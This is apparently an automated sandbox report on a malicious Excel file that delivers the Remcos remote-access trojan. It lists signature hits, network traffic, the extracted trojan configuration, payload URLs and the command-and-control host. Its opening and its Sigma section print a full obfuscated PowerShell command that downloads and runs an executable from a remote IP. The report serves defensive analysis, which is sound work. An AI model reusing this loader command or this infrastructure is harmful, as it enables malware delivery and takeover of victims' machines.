IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3400, TargetFilename: C:\Users\user\AppData\Local\Temp\pyktbusk.55o.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3400, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline", ProcessId: 3512, ProcessName: csc.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl - Source IP: 192.168.2.22 - Destination IP: 91.92.245.100

Timestamp:	2024-07-26T09:29:59.517525+0200
SID:	2024449
Source Port:	49166
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:09.356706+0200
SID:	2011803
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:09.273433+0200
SID:	2011803
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:09.273485+0200
SID:	2011803
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:09.273537+0200
SID:	2011803
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) - Source IP: 91.92.245.100 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:29:59.517585+0200
SID:	2024197
Source Port:	80
Destination Port:	49166
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl - Source IP: 192.168.2.22 - Destination IP: 91.92.245.100

Timestamp:	2024-07-26T09:29:57.196366+0200
SID:	2024449
Source Port:	49164
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) - Source IP: 91.92.245.100 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:29:57.196370+0200
SID:	2024197
Source Port:	80
Destination Port:	49164
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:09.273467+0200
SID:	2011803
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:08.658935+0200
SID:	2011803
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:09.544003+0200
SID:	2009080
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - Remcos 3.x/4.x TLS Connection - Source IP: 192.168.2.22 - Destination IP: 23.95.60.82

Timestamp:	2024-07-26T09:30:16.371974+0200
SID:	2036594
Source Port:	49168
Destination Port:	2558
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.22 - Destination IP: 178.237.33.50

Timestamp:	2024-07-26T09:30:20.216815+0200
SID:	2803304
Source Port:	49169
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:09.273374+0200
SID:	2011803
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 107.173.143.46 - Destination IP: 192.168.2.22

Timestamp:	2024-07-26T09:30:09.356737+0200
SID:	2011803
Source Port:	80
Destination Port:	49167
Protocol:	TCP
Classtype:	Executable code was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "unifrieghtmovers.com:2558:1", "Assigned name": "Gasplant", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "chrome-E2SMAR", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Multi AV Scanner detection for domain / URL

Source: tny.wtf	Virustotal: Detection: 5%	Perma Link
Source: http://107.173.143.46/T2507F/csrss.exep	Virustotal: Detection: 12%	Perma Link
Source: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htaC:	Virustotal: Detection: 5%	Perma Link
Source: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htax	Virustotal: Detection: 5%	Perma Link
Source: http://107.173.143.46/T2507F/csrss.exe	Virustotal: Detection: 12%	Perma Link
Source: http://107.173.143.46/T2507F/csr	Virustotal: Detection: 12%	Perma Link
Source: http://tny.wtf/	Virustotal: Detection: 5%	Perma Link
Source: http://91.92.245.100/xampp/ebcd/eb/gdfvr.htahttp://91.92.245.100/xampp/ebcd/eb/gdfvr.hta	Virustotal: Detection: 5%	Perma Link
Source: http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe

Virustotal: Detection: 21%

Perma Link

Multi AV Scanner detection for submitted file

Source: Quotation.xls	ReversingLabs: Detection: 18%
Source: Quotation.xls	Virustotal: Detection: 24%			Perma Link

Yara detected Remcos RAT

Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR

Machine Learning detection for sample

Source: Quotation.xls

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

25_2_00433837

Source: winiti.exe, 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_8d93157b-0

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_004074FD _wcslen,CoGetObject,

25_2_004074FD

Phishing

Yara detected obfuscated html page

Source: Yara match

File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta, type: DROPPED

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.pdb source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.pdbhPD source: powershell.exe, 00000007.00000002.449435147.0000000002623000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.pdbhPE source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.pdb source: powershell.exe, 00000013.00000002.483902193.00000000026CA000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	25_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	25_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	25_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	25_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0044E879 FindFirstFileExA,	25_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	25_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040783C FindFirstFileW,FindNextFileW,	25_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	25_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	25_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 25_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	25_2_0040BD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 25_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

25_2_00407C97

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: tny.wtf
Source: global traffic	DNS query: name: unifrieghtmovers.com
Source: global traffic	DNS query: name: geoplugin.net
Source: global traffic	DNS query: name: geoplugin.net
Source: global traffic	DNS query: name: tny.wtf

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 178.237.33.50:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:80

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 91.92.245.100:80
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49164
